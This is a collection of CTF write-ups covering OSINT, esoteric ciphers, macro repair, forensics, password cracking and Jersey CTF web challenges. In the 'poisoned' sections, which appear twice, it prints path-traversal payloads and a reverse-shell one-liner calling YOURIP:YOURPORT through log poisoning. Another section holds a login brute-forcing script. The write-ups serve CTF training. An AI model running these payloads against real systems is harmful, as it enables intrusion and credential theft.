### [Found This article](https://www.history.com/this-day-in-history/the-ramones-play-their-first-public-gig-at-cbgbs-in-downtown-manhattan)
Did some digging/searching on cbgb bar and found out that it opened on December 10, 1973. "9 months before aug 1974" so far details are matching with Challange lure.
Furthermore, the owners name was Hilly Kristal ( Initials :HK), as soon as I saw that I seached "cbgb opening concrete" and boom the third reasult was picture attached below.
As per challange instruction I wraped my flag like jctf{cbgb'73} and that didn't work so I tried jctf{cbgb73} and that worked. ?
# Flag ?: jctf{cbgb73} ✅
## Total Solves for the challange : 41
|
Use docker forensics to extract a judge script that generates and compiles a key checker binary, then write a javascript keygen that analyses the key checker **binary** with iced and elfinfo to calculate a valid key. |
[Original write-up](https://github.com/H31s3n-b3rg/CTF_Write-ups/blob/main/BucketCTF_2023/WEB/SQLi/SQLi-2/README.md) (https://github.com/H31s3n-b3rg/CTF_Write-ups/blob/main/BucketCTF_2023/WEB/SQLi/SQLi-2/README.md) |
1. Split gif attachments into frames.2. Merge them in Photoshop.3. Add contrast using levels.4. Add some gaussian blur.5. Add more contrast using levels.6. Invert image.7. Redraw QR in google sheets or excel. We need to add a position block at top left, duplicate format info (error correction level, mask pattern, format error correction), add alignment block, and add timing blocks.8. Read QR, which leads us to click me! 9. Decode the following link from base64 to png image.10. Use the following site to see that the first numbers '7' and '8' in phone and watch rows were modified.11. Calculate the amount once again.12. Trying to recalculate again and again, because the task was bugged, and one of the flags worked, we're not sure which exactly. Most probably it is the one listed lower.
Flag: VishwaCTF{573843}. |
1. Run the frequency analysis on the string given. We get that there are 9 different notations. That brings suspicion to esoteric languages aka BrainFuck.2. Executing the entire string in BrainFuck gives us a part of the flag: “VishwaCTF{35073r1c”.3. Let’s take the part before the binary and try to work with it via monoalphabetic substitution.4. At the end of the substitution, we get the following: ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>-----.+++++++++++++.<------------------.>++.-------.++++++++++++++.+.---------------.--.<+.>------.<-.>+++++++++++++++++++.<-.>-------------------.++++.<---..>+++++++++.+++++++++++++++++, which via execution in BrainFuck gets us “_l4ngu4ge5_4r3_c00l}”.
Flag: VishwaCTF{35073r1c_l4ngu4ge5_4r3_c00l}. |
Challenge: **Lost Visual**
Category: **Misc**
Points: **400**
Description: **Not again! I was just going to give you the flag this time, but my cat ruined everything as usual. I had a whole presentation for it, too. Tell you what: if you can fix my presentation, I should be able to recover the flag for you.NOTE: This CTF uses macros. To enable them for this PowerPoint, click here.Due to the nature of PowerPoints, you will need a Windows machine or VM with Microsoft PowerPoint to run the macro.Note: The flag format for this specific challenge is flag{...}**
Solution: **first of all, the macros had to be enabled as [this guide](https://support.microsoft.com/en-us/topic/a-potentially-dangerous-macro-has-been-blocked-0952faa0-37e7-4316-b61d-5b5ed6024216) explains.**
**if we started the presentation, we could notice that a macro checked if the order of the slides was correct, and only if it was it printed the (encrypted) flag, otherwise a message box indicated this statement**

**we could enable a function, to see hidden writings**

**so at this point, in the upper left corner all the slides had their sorting number**

**at this point we could order the slides, and looking at the presentation again the message box eventually changed**

**in the third slide, a writing could be seen behind the cat on the computer**

**at this point it was necessary to take the first letter of each slide and this made up the encryption key of the flag: ABYSSINIAN**
**at this point, we could go to analyze the macros**

**we could see that there was a block of wrong code, in the "EventManager" macro, it had to be uncommented and corrected**

**the correct code was:**
``` 'WHAT A MESS! I'll fix it later... Dim FlagSlide As Slide Set FlagSlide = ActivePresentation.Slides.Add(CLng(i) + 1, ppLayoutTitle) With FlagSlide.Shapes .Title.TextFrame.TextRange = "Thanks For Your Help!" .Placeholders(2).TextFrame.TextRange = flag With .AddTextbox(Orientation:=msoTextOrientationHorizontal, Left:=0, Top:=0, Width:=36, Height:=28) .TextFrame2.TextRange.Text = "11" .Visible = msoFalse End With End With```
**now it finally printed the flag, the last part was missing, implement the decrypt of the flag**

**so here is the final code, with the flag decrypt implementation:**
``` 'WHAT A MESS! I'll fix it later... Dim FlagSlide As Slide Set FlagSlide = ActivePresentation.Slides.Add(CLng(i) + 1, ppLayoutTitle) Dim SimpleCipher As New SimpleCipher Dim decryptedFlag As String decryptedFlag = SimpleCipher.SimpleDecrypt(flag, "ABYSSINIAN") With FlagSlide.Shapes .Title.TextFrame.TextRange = "Thanks For Your Help!" .Placeholders(2).TextFrame.TextRange = decryptedFlag With .AddTextbox(Orientation:=msoTextOrientationHorizontal, Left:=0, Top:=0, Width:=36, Height:=28) .TextFrame2.TextRange.Text = "11" .Visible = msoFalse End With End With```
**at this point we can enjoy the solve of the last Misc haha**

flag: **flag{c0v3r1ng_tH3_v1Su4l_b4s1Cs}** |
## avenge-my-password
```Stark to Star-Lord - "Oh my, see Quill?! I told you your credentials can work for more than one thing, but things only go so far. Time will tell when to search another path to find a way in!" Automated directory brute force is unnecessary.```
This was my favorite of the web challenges from this year's Jersey CTF. There's still a bit of a CTF element but it combines a few different skils that are very applicable in the real world whether you're a penetration tester or pivoting as a red teamer.
```quantumleaper@avenge-my-password:~$ cat .mysql_history_HiStOrY_V2_show\040databases;use\040information_schema;show\040tables;show\040databases;show\040website;use\040website;show\040tables;CREATE\040TABLE\040login\040(\040\040\040\040\040\040\040\040userID\040INTEGER\040NOT\040NULL,\040\040\040\040\040\040\040\040email\040VARCHAR(128)\040NOT\040NULL,\040\040\040\040\040\040\040\040PRIMARY\040KEY\040(userID));select\040*\040from\040login;INSERT\040INTO\040login\040VALUES\040(5000,\040'[email protected]',\040'75a9d701d4b530645c35c277ba6bf0ef');```
Immediately upon login we find a log history file for mysql, so we know there's a "website" database running that's storing login information. We confirm there's definitely a website on the server by checking `/var/www/html` which contains a php file and an interesting list of folders including one called ".username" which has a file ".usernames.txt" which we are unable to read due to the access control explicitly blacklisting our user from reading it (note the + at the end of the permissions lines).
```quantumleaper@avenge-my-password:/var/www/html$ cd .username/quantumleaper@avenge-my-password:/var/www/html/.username$ ls -latotal 16dr-xr-xr-x 2 root root 4096 Mar 23 19:38 .dr-xr-xr-x 32 root root 4096 Mar 27 20:01 ..-r-xr-xr-x+ 1 root root 5275 Mar 23 18:09 .usernames.txt-r-xr-xr-x 1 root root 0 Mar 23 19:37 hi.txtquantumleaper@avenge-my-password:/var/www/html/.username$ getfacl .usernames.txt# file: .usernames.txt# owner: root# group: rootuser::r-xuser:quantumleaper:---group::r-xmask::r-xother::r-x```
First let's explore the mysql database, then we can go about getting access to that site.
```quantumleaper@avenge-my-password:/var/www/html/.username$ mysql -u quantumleaper -pEnter password:Welcome to the MySQL monitor. Commands end with ; or \g.Your MySQL connection id is 1863Server version: 8.0.32-0ubuntu0.22.10.2 (Ubuntu)
Copyright (c) 2000, 2023, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or itsaffiliates. Other names may be trademarks of their respectiveowners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> use websiteReading table information for completion of table and column namesYou can turn off this feature to get a quicker startup with -A
Database changedmysql> select * from login where userId = 401;+--------+---------------+| userID | password |+--------+---------------+| 401 | Spring2023!!! |+--------+---------------+1 row in set (0.00 sec)
mysql>```
If you look through all the rows of the login table, you'll notice one that doesn't appear to be a password hash but is stored in cleartext. Unfortunately for us, there's no more usernames in the table! We likely need to find a way to read that list of usernames to find which one matches up to this password. The server running this challenge is only has the SSH port open to the public, but we can create a tunnel through our SSH connection to access the local port 80 on the remote server like this:
```ssh -L 4444:159.203.191.48:80 [email protected]```

Even though the quantumleaper user can't read that username list, maybe the user running the website can.
```http://localhost:4444/.username/.usernames.txt
FandacicatiFarercedancFarerToughTreasureFarTruckFendesby...```
We're given back a list of 500 usernames, how do we know which one matches up? If there was an intended obvious username it went right over my head. There was no "lucy" user from the sql history log or even any usernames that were in the challenge description so I built a mini brute forcer to test our known password with all those users.
```import requests
url = "http://localhost:4444/"
usernames = open("usernames.txt", "r").read().split('\n')
for username in usernames: rsp = requests.post(url, data={ "username": username, "password": "Spring2023!!!", "submit": "Login" }) #print(rsp.text) if ("Invalid login" in rsp.text): print("bad") else: print("good") print(username) break```
Sure enough, this gets us the matching username and we're able to login to the site to get the flag.
```MarsString:Spring2023!!!
jctf{w3_LoV3_M@RV3L_:)_GOOD_JOB!}```
## poisoned
```Seems these pesky AI hackers are up to no good again! You must find out how where they POISONED this site and use that to find the file they placed on our web server!```
Right away you can tell that this challenge wants you to manipulate the php parameter page based on the URL
```https://jerseyctf-poisoned-v2.chals.io/?page=welcome```
If you throw an arbitrary string there, you can see that based on the error it's likely possible to inject something there to read off the server.
```https://jerseyctf-poisoned-v2.chals.io/?page=../../../etc/passwd```
The above LFI doesn't work because the server is attempting to sanitize our input but they dropped the ball and likely only had code to remove the "../", because the following LFI works:
```https://jerseyctf-poisoned-v2.chals.io/?page=....//....//....//....//etc/passwd```
Based on the challenge name and the description, we should look at either the apache or nginx logs to see if the other hackers poisoned the log files. I won't show the nginx file since it turned up empty but the apache2 logs seem like they've been poisoned.
```https://jerseyctf-poisoned-v2.chals.io/?page=....//....//....//....//var/log/apache2/access.log```

The php script put at access.log is expecting a parameter `command` which will get run by `system()`. The rest of the challenge is trivial and we can either list around the server or get a reverse shell to explore on our own.
```https://jerseyctf-poisoned-v2.chals.io/?page=....//....//....//....//var/log/apache2/access.log&poison=python3%20-c%20%27socket=__import__(%22socket%22);os=__import__(%22os%22);pty=__import__(%22pty%22);s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22YOURIP%22,YOURPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(%22/bin/sh%22)%27```
Luckily for us the server had python3 installed and we are able to get a reverse shell call back to our handler. The flag was located at `/secret_fl4g.txt`.
```jctf{4PachE_L0G_POiS0nInG}```
## xss-terminator
```The Terminator told you to put the cookie down, and you didn't listen. Now he is very angry! You must find a way to steal the cookie from the vulnerable website and send it to the evil server where the Terminator is waiting... just don't make him wait too long.```
For this challenge, we're given two urls. The goal is to make the normal website at `http://198.211.99.71:3000/ ` send the document cookie over to `http://198.211.99.71:3001/cookie?data` (this is what the challenge explicitly tells us to do).
The normal website takes a query parameter q that it parses and places in the html. If you put it through the form on the site your text will be encoded, but if you paste it directly into the URI you can inject whatever sort of javascript you'd like. For example if we paste this as parameter q, we can send the document cookie over to the malicious site where the "terminator" is waiting.
```
http://198.211.99.71:3000/?q=```
Upon refreshing the page we're given the flag: `jctf{who_said_you_could_open_the_cookie_jar!?}` |
## poisoned
```Seems these pesky AI hackers are up to no good again! You must find out how where they POISONED this site and use that to find the file they placed on our web server!```
Right away you can tell that this challenge wants you to manipulate the php parameter page based on the URL
```https://jerseyctf-poisoned-v2.chals.io/?page=welcome```
If you throw an arbitrary string there, you can see that based on the error it's likely possible to inject something there to read off the server.
```https://jerseyctf-poisoned-v2.chals.io/?page=../../../etc/passwd```
The above LFI doesn't work because the server is attempting to sanitize our input but they dropped the ball and likely only had code to remove the "../", because the following LFI works:
```https://jerseyctf-poisoned-v2.chals.io/?page=....//....//....//....//etc/passwd```
Based on the challenge name and the description, we should look at either the apache or nginx logs to see if the other hackers poisoned the log files. I won't show the nginx file since it turned up empty but the apache2 logs seem like they've been poisoned.
```https://jerseyctf-poisoned-v2.chals.io/?page=....//....//....//....//var/log/apache2/access.log```

The php script put at access.log is expecting a parameter `command` which will get run by `system()`. The rest of the challenge is trivial and we can either list around the server or get a reverse shell to explore on our own.
```https://jerseyctf-poisoned-v2.chals.io/?page=....//....//....//....//var/log/apache2/access.log&poison=python3%20-c%20%27socket=__import__(%22socket%22);os=__import__(%22os%22);pty=__import__(%22pty%22);s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22YOURIP%22,YOURPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(%22/bin/sh%22)%27```
Luckily for us the server had python3 installed and we are able to get a reverse shell call back to our handler. The flag was located at `/secret_fl4g.txt`.
```jctf{4PachE_L0G_POiS0nInG}``` |
## scouts-honor
For this challenge I immediately headed to Google Books which gives advanced filtering for searching through books and lets use find key words used within the book. My first search for "red car 4 feet heavy dinosaur" brought up a few different years of the magazine "Boys' Life" that's been in distribution since the first half of the 20th century. This fits with the challenge title, but which exact journal do we need to find?
Making the assumption that I'm correct on the journal name, I used the advanced filters to search only books with the title "Boys' Life" that have come out after 2000. If I didn't get anything after 200 I was going to put the search back further but my first guess was lucky.
Query: dinosaur car intitle: Boys intitle: Life (between 2000 and 2023)
Briefly reading through the entries I see that the July 2011 edition contains a joke about a 2000 pound dinosaur and page 35 has a snippet about a mini racing car from the 20s. I assumed this was the correct journal and I was right. I only used the terms "dinosaur car" because specifiyng any further would be assuming that the articles contained those exact terms and it wouldn't have been reliable. The subset of Boys' Life magazines after the year 2000 that contain both the words dinosaur and car is small enough to go through by hand and validate whether or not they meet the description. |
# after-all-this-time writeup
### Setup/tools usedFTK Imager - This tool was used to open the original .ad1 file given. It is Windows exclusive as far as I know. There are alternatives but this one makes your job easiest (though it was a nightmare to find/download a legitimate version that didn't look like malware).
Kali Linux - I mainly used Kali for John the Ripper, but being able to send files from FTK Imager to Kali Linux is crucial for completing this challenge.
KeePass 1.41 - This will be needed to view a database file. Annoyingly, this is a different version of KeePass than the one used for the crack-keepass challenge so you will need to download it again.
Audacity - This will be needed to view an audio file's spectrogram.
dcode.fr - This website, especially the "Cipher Identifier" page, helped a lot with getting this challenge done.
## Step 1
First off, opening the .ad1 file as evidence in FTK Imager gives you a bunch of files to comb through. It is an image file, so make sure to select that option when importing it as evidence to FTK Imager.
Our main point of interest is at [root]/Users/User/Desktop currently. There are two files that read "nothingimportant.txt", one of which was deleted. These files give various hints about storing passwords and them being given a key to layer the security.
There's also a PDF file of a book called "The Time Machine", which is where the first major puzzle lies.
Just before we tackle that puzzle, it's worth noting that in [root]/Users/User/Documents, there is a folder called "security_keepout" which has a file called "beausFortressOfPwnitude.txt" which seems to have encrypted passwords. The name of the file references the Beaufort Cipher, but without a key, we cannot decode it currently.
Also, in the Desktop again, there's a KeePass database file called "keepsecure.kdb" which definitely seems worth looking into once we have a way in.
## Step 2
Upon looking at the PDF, two major things of note jump out. The second page has a note on it and some numbers and the final page has some highlighting via an comment shown by Adobe. Images of both of these are below.  
As it turns out, this is a Book Cipher. The numbers correspond to line-word-letter in that order. The note references the final page being the key where the first "e" (1-1-3) is already highlighted for us. Trying out the cipher there gives us the word of "enigma".
## Step 3
We can now revisit the "beausFortressOfPwnitude.txt" file since we have a key for the cipher. Using the Beaufort Cipher with keyword "enigma" on the file contents after pulling them out of the disk image unencrypts the password dictionary. I should note that we had some issues deciphering all of the passwords in one go, but doing it in 2-3 sections worked out perfectly.
At this point, I sent the "keepsecure.kdb" file and the unencrypted password dictionary over to Kali Linux to give it to John the Ripper. The password hash can be extracted from keepsecure.kdb using the command `keepass2john keepsecure.kdb > temphash.txt`. Using nano or vi, remove the "keepsecure.kdb:" section of the extracted hash, and then run `john temphash.txt beausFortressOfPwnitude.txt` and it solved it in less than a second with the password of "TimeWaits4No1".
## Step 4
With our password in hand, we can now open up the KeePass database. There's a ton of funny stuff in here including references to Twitter going down the drain because of Elon Musk and a link to ChatGPT labeled as "for homework", but what we're actually looking for is an audio file called "robotjams.wav". This can be found in either the backup section of the database or in the email section, I definitely noticed at least 3 copies of it without even browsing around every entry.
We then opened up this "robotjams.wav" file in Audacity and saw nothing... at first. After clicking the dropdown on the name of the file and switching it to spectrogram mode, this is what we saw. 
While this is readable as is, it's worth noting that the dropdown you just used also has a "Spectrogram Settings" tab and changing the scale can help with the readability of the text.
## Step 5
After transcribing this spectrogram to text (6A6374667B30685F495F6C3076335F6D757331637D), dcode.fr's cipher identifier page pointed us to an ASCII converter, which then outputted the flag of jctf{0h_I_l0v3_mus1c} when using the HEX /2 section of the ASCII converter.
### And that's all!
This challenge was definitely a crazy one but my team somehow got first blood on it which is pretty cool. This was my first time doing a CTF and my first time doing a writeup so I'm sure there are thousands of ways for this to be improved, but hopefully it was readable enough to get the solution across. If you have any questions about this solution/writeup in general or confusion on my explanation, feel free to contact me at my email of [email protected]. Also, a huge thank you to Alfred for creating this amazing challenge and for his hints to put me in the right direction as I was getting stuck on this at 2AM. |
I was given the [challenge.py](https://github.com/mar232320/ctf-writeups/blob/main/wreck2022/babyrsa/challenge.py) and [output.txt](https://github.com/mar232320/ctf-writeups/blob/main/wreck2022/babyrsa/output.txt) files.One of the primes was given allowing to easily decrypt RSA solution in [solve.py](https://github.com/mar232320/ctf-writeups/blob/main/wreck2022/babyrsa/solve.py)
> flag{omg_its_rsa} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.